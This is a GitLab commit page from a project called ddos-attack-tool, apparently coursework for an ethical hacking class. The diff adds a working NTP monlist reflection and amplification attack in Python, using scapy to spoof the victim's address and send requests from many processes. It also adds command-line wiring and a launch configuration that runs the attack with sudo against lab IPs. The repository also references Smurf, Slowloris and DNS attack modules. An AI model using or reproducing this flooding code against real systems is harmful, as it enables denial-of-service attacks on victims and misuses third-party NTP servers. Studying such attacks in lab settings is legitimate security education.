Skip to content
GitLab
Explore
Sign in
Register
Primary navigation
Search or go to…
Project
D
ddos-attack-tool
Manage
Activity
Members
Labels
Plan
Wiki
Code
Merge requests
0
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Deploy
Package Registry
Operate
Terraform modules
Analyze
Contributor analytics
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
OST
DAT505-Ethical_hacking
ddos-attack-tool
Commits
6a5da2a9
Commit
6a5da2a9
authored
1 year ago
by
Andri Joos
Browse files
Options
Downloads
Patches
Plain Diff
add ntp
parent
dee3d69c
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
4
Hide whitespace changes
Inline
Side-by-side
Showing
4 changed files
.vscode/launch.json
+20
-0
20 additions, 0 deletions
.vscode/launch.json
attacks/Ntp.py
+37
-0
37 additions, 0 deletions
attacks/Ntp.py
attacks/__init__.py
+1
-0
1 addition, 0 deletions
attacks/__init__.py
main.py
+11
-1
11 additions, 1 deletion
main.py
with
69 additions
and
1 deletion
.vscode/launch.json
+
20
−
0
View file @
6a5da2a9
...
...
@@ -57,6 +57,26 @@
"-d"
,
"joos.io"
]
},
{
"name"
:
"NTP"
,
"type"
:
"python"
,
"request"
:
"launch"
,
"program"
:
"main.py"
,
"console"
:
"integratedTerminal"
,
"justMyCode"
:
true
,
"sudo"
:
true
,
"args"
:
[
"ntp"
,
"-v"
,
"10.0.3.12"
,
"-s"
,
"10.0.3.15"
,
"-x"
,
"30000"
,
"-r"
,
"5000"
]
}
]
}
\ No newline at end of file
This diff is collapsed.
Click to expand it.
attacks/Ntp.py
0 → 100644
+
37
−
0
View file @
6a5da2a9
from
attacks.Attack
import
Attack
from
attacks
import
Ntp
from
scapy.all
import
IP
,
Raw
,
UDP
,
send
from
multiprocessing
import
cpu_count
,
Process
class
Ntp
(
Attack
):
def
__init__
(
self
,
victim_ip
:
str
,
ntp_ip
:
str
,
start_port
:
int
,
requests
:
int
)
->
None
:
super
(
Ntp
,
self
).
__init__
()
self
.
_victim_ip
=
victim_ip
self
.
_ntp_ip
=
ntp_ip
self
.
_start_port
=
start_port
self
.
_requests
=
requests
self
.
_data
=
"
\x17\x00\x03\x2a
"
+
"
\x00
"
*
4
# NTP v2 Monlist Packet
def
run
(
self
):
cpus
=
cpu_count
()
requests_per_process
=
self
.
_requests
//
cpus
for
i
in
range
(
cpus
):
start_port
=
self
.
_start_port
+
i
*
requests_per_process
end_port
=
self
.
_start_port
+
(
i
+
1
)
*
requests_per_process
process
=
Process
(
target
=
self
.
_run_proc
,
args
=
(
start_port
,
end_port
))
process
.
start
()
self
.
_processes
.
append
(
process
)
super
().
_wait_for_processes
()
def
_run_proc
(
self
,
start_port
:
int
,
end_port
:
int
):
ip
=
IP
(
src
=
self
.
_victim_ip
,
dst
=
self
.
_ntp_ip
)
raw
=
Raw
(
load
=
self
.
_data
)
for
port
in
range
(
start_port
,
end_port
):
ntp
=
UDP
(
sport
=
port
,
dport
=
123
)
packet
=
ip
/
ntp
/
raw
send
(
packet
,
verbose
=
0
)
print
(
"
Attacked from port {}
"
.
format
(
port
))
This diff is collapsed.
Click to expand it.
attacks/__init__.py
+
1
−
0
View file @
6a5da2a9
...
...
@@ -2,3 +2,4 @@ from attacks.Attack import Attack
from
attacks.Smurf
import
Smurf
from
attacks.Slowloris
import
Slowloris
from
attacks.Dns
import
Dns
from
attacks.Ntp
import
Ntp
This diff is collapsed.
Click to expand it.
main.py
+
11
−
1
View file @
6a5da2a9
from
attacks
import
Smurf
,
Slowloris
,
Dns
from
attacks
import
Smurf
,
Slowloris
,
Dns
,
Ntp
from
argparse
import
ArgumentParser
def
handle_smurf
(
victim_ip
:
str
,
broadcast_ip
:
str
,
func
=
None
):
...
...
@@ -10,6 +10,9 @@ def handle_slowloris(victim_ip: str, victim_port: int, start_port: int, requests
def
handle_dns
(
victim_ip
:
str
,
dns_server
:
str
,
domain
:
str
,
func
=
None
):
Dns
(
victim_ip
,
dns_server
,
domain
).
run
()
def
handle_ntp
(
victim_ip
:
str
,
ntp_server
:
str
,
start_port
:
int
,
requests
:
int
,
func
=
None
):
Ntp
(
victim_ip
,
ntp_server
,
start_port
,
requests
).
run
()
parser
=
ArgumentParser
(
"
python main.py
"
)
subparsers
=
parser
.
add_subparsers
(
title
=
"
attack type
"
)
...
...
@@ -31,6 +34,13 @@ dns_parser.add_argument("--dns-server", "-s", action="store", type=str, required
dns_parser
.
add_argument
(
"
--domain
"
,
"
-d
"
,
action
=
"
store
"
,
type
=
str
,
required
=
True
)
dns_parser
.
set_defaults
(
func
=
handle_dns
)
ntp_parser
=
subparsers
.
add_parser
(
"
ntp
"
,
aliases
=
[
"
n
"
])
ntp_parser
.
add_argument
(
"
--victim-ip
"
,
"
-v
"
,
action
=
"
store
"
,
type
=
str
,
required
=
True
)
ntp_parser
.
add_argument
(
"
--ntp-server
"
,
"
-s
"
,
action
=
"
store
"
,
type
=
str
,
required
=
True
)
ntp_parser
.
add_argument
(
"
--start-port
"
,
"
-x
"
,
action
=
"
store
"
,
type
=
int
,
required
=
True
)
ntp_parser
.
add_argument
(
"
--requests
"
,
"
-r
"
,
action
=
"
store
"
,
type
=
int
,
required
=
True
)
ntp_parser
.
set_defaults
(
func
=
handle_ntp
)
parsed_args
=
parser
.
parse_args
()
args
=
vars
(
parsed_args
)
parsed_args
.
func
(
**
args
)
This diff is collapsed.
Click to expand it.
Preview
0%
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment